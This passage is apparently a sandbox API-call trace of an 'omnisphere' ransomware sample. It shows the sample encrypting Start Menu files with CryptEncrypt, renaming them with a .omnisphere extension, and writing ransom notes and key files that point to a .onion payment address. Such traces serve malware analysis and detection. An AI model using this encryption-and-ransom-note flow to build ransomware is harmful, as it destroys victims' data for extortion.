pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.142] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.142] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.142] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.142] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.142] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.142] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.143] CryptDestroyKey (hKey=0x16394e8) returned 1 [0140.143] CryptReleaseContext (hProv=0x1668460, dwFlags=0x0) returned 1 [0140.143] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x486, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0140.143] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cddc, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0cddc*=0x524, lpOverlapped=0x0) returned 1 [0140.144] GetProcessHeap () returned 0x1600000 [0140.144] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2da) returned 0x1725ee8 [0140.144] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\notepad.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\notepad.lnk.omnisphere")) returned 1 [0140.148] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk.omnisphere.id" [0140.148] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\notepad.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0140.150] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c864, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0c864*=0x524, lpOverlapped=0x0) returned 1 [0140.151] CloseHandle (hObject=0x3b4) returned 1 [0140.152] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0140.153] CloseHandle (hObject=0x388) returned 1 [0140.153] SetEndOfFile (hFile=0x3c0) returned 1 [0140.154] FlushFileBuffers (hFile=0x3c0) returned 1 [0140.157] CloseHandle (hObject=0x3c0) returned 1 [0140.157] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned 1 [0140.157] GetProcessHeap () returned 0x1600000 [0140.157] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x17261d0 [0140.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0140.157] GetProcessHeap () returned 0x1600000 [0140.157] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fdac8 [0140.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fdac8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0140.157] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0140.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0140.158] GetProcessHeap () returned 0x1600000 [0140.158] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710160 [0140.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710160, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0140.158] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0140.158] GetProcessHeap () returned 0x1600000 [0140.158] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe2) returned 0x16a3e48 [0140.158] PathCombineW (in: pszDest=0x16a3e48, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\!DECRYPT_OMNISPHERE.txt" [0140.158] GetProcessHeap () returned 0x1600000 [0140.158] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x17188b8 [0140.158] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0140.158] WriteFile (in: hFile=0x3c0, lpBuffer=0x17188b8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0cdfc, lpOverlapped=0x0 | out: lpBuffer=0x17188b8*, lpNumberOfBytesWritten=0x3e0cdfc*=0x588, lpOverlapped=0x0) returned 1 [0140.158] CloseHandle (hObject=0x3c0) returned 1 [0140.159] GetProcessHeap () returned 0x1600000 [0140.159] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17261d0 | out: hHeap=0x1600000) returned 1 [0140.159] GetProcessHeap () returned 0x1600000 [0140.159] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd8) returned 0x16daae0 [0140.159] PathCombineW (in: pszDest=0x16daae0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\unique_decrypt.key" [0140.159] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0140.160] WriteFile (in: hFile=0x3c0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ce10, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ce10*=0x5a0, lpOverlapped=0x0) returned 1 [0140.160] CloseHandle (hObject=0x3c0) returned 1 [0140.161] GetProcessHeap () returned 0x1600000 [0140.161] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16daae0 | out: hHeap=0x1600000) returned 1 [0140.161] GetProcessHeap () returned 0x1600000 [0140.161] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1625a28 | out: hHeap=0x1600000) returned 1 [0140.161] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6543ef5f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0xbf, cFileName="Notepad.lnk", cAlternateFileName="")) returned 0 [0140.161] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0140.162] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*", lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x34a1c490, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x34a1c490, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0140.162] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x34a1c490, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x34a1c490, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.162] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3495dab1, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3495dab1, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x34a4272b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0140.162] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x210f9687, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210f9687, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x349493e0, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x6e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini.omnisphere", cAlternateFileName="DESKTO~1.OMN")) returned 1 [0140.162] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34793d7e, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x34793d7e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3489edd6, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini.omnisphere.id", cAlternateFileName="DESKTO~1.ID")) returned 1 [0140.162] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccacd784, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xccacd784, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x34983c31, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xa51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer.lnk.omnisphere", cAlternateFileName="INTERN~1.OMN")) returned 1 [0140.162] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34983c31, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x34983c31, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x34983c31, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer.lnk.omnisphere.id", cAlternateFileName="INTERN~1.ID")) returned 1 [0140.162] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x34a1c490, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x9aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notepad.lnk.omnisphere", cAlternateFileName="NOTEPA~1.OMN")) returned 1 [0140.162] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34a1c490, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x34a1c490, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x34a1c490, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notepad.lnk.omnisphere.id", cAlternateFileName="NOTEPA~1.ID")) returned 1 [0140.162] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3495dab1, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3495dab1, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x34a4272b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0140.162] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3495dab1, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3495dab1, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x34a4272b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0140.162] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0140.162] GetProcessHeap () returned 0x1600000 [0140.162] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172a800 | out: hHeap=0x1600000) returned 1 [0140.162] GetProcessHeap () returned 0x1600000 [0140.163] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172a8c0 | out: hHeap=0x1600000) returned 1 [0140.163] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3eed247, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrative Tools", cAlternateFileName="ADMINI~1")) returned 1 [0140.163] GetProcessHeap () returned 0x1600000 [0140.163] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc4) returned 0x162c048 [0140.163] PathCombineW (in: pszDest=0x162c048, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", pszFile="Administrative Tools" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools" [0140.163] GetProcessHeap () returned 0x1600000 [0140.163] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c938 [0140.163] PathCombineW (in: pszDest=0x162c938, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*" [0140.163] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*", lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3eed247, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbf, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0140.163] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3eed247, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbf, cFileName="..", cAlternateFileName="")) returned 1 [0140.163] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441842cf, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0xbf, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0140.163] GetProcessHeap () returned 0x1600000 [0140.163] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xdc) returned 0x172b6e8 [0140.163] PathCombineW (in: pszDest=0x172b6e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools", pszFile="desktop.ini" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini" [0140.163] StrStrW (lpFirst=".omnisphere", lpSrch=".ini") returned 0x0 [0140.163] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\administrative tools\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0140.164] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x3e0cdd4 | out: lpFileSize=0x3e0cdd4*=174) returned 1 [0140.164] GetTickCount () returned 0x1162e7a [0140.164] GetTickCount () returned 0x1162e7a [0140.164] GetTickCount () returned 0x1162e7a [0140.164] GetTickCount () returned 0x1162e7a [0140.164] GetTickCount () returned 0x1162e7a [0140.164] GetTickCount () returned 0x1162e7a [0140.164] GetTickCount () returned 0x1162e7a [0140.164] GetTickCount () returned 0x1162e7a [0140.164] GetTickCount () returned 0x1162e7a [0140.164] GetTickCount () returned 0x1162e7a [0140.164] GetTickCount () returned 0x1162e7a [0140.164] GetTickCount () returned 0x1162e7a [0140.164] GetTickCount () returned 0x1162e7a [0140.164] GetTickCount () returned 0x1162e7a [0140.164] GetTickCount () returned 0x1162e7a [0140.164] GetTickCount () returned 0x1162e7a [0140.164] GetTickCount () returned 0x1162e7a [0140.165] GetTickCount () returned 0x1162e7a [0140.165] GetTickCount () returned 0x1162e7a [0140.165] GetTickCount () returned 0x1162e7a [0140.165] GetTickCount () returned 0x1162e7a [0140.165] GetTickCount () returned 0x1162e7a [0140.165] GetTickCount () returned 0x1162e7a [0140.165] GetTickCount () returned 0x1162e7a [0140.165] GetTickCount () returned 0x1162e7a [0140.165] GetTickCount () returned 0x1162e7a [0140.165] GetTickCount () returned 0x1162e7a [0140.165] GetTickCount () returned 0x1162e7a [0140.165] GetTickCount () returned 0x1162e7a [0140.165] GetTickCount () returned 0x1162e7a [0140.165] GetTickCount () returned 0x1162e7a [0140.165] GetTickCount () returned 0x1162e7a [0140.165] CryptAcquireContextW (in: phProv=0x3e0c85c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c85c*=0x1668bd0) returned 1 [0140.166] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0c7c4, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c868 | out: phKey=0x3e0c868*=0x1639528) returned 1 [0140.166] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x75, dwBufLen=0x80 | out: pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x80) returned 1 [0140.166] CryptDestroyKey (hKey=0x1639528) returned 1 [0140.166] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0140.166] CreateFileMappingW (hFile=0x3c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xae, lpName=0x0) returned 0x388 [0140.166] MapViewOfFile (hFileMappingObject=0x388, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xae) returned 0x1480000 [0140.166] CryptAcquireContextW (in: phProv=0x3e0c84c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c84c*=0x1668708) returned 1 [0140.167] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0c804, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c85c | out: phKey=0x3e0c85c*=0x16396a8) returned 1 [0140.167] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0c840*=0x2, dwFlags=0x0) returned 1 [0140.167] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c848*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c848*=0x10) returned 1 [0140.167] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.167] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.167] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.167] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.167] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, 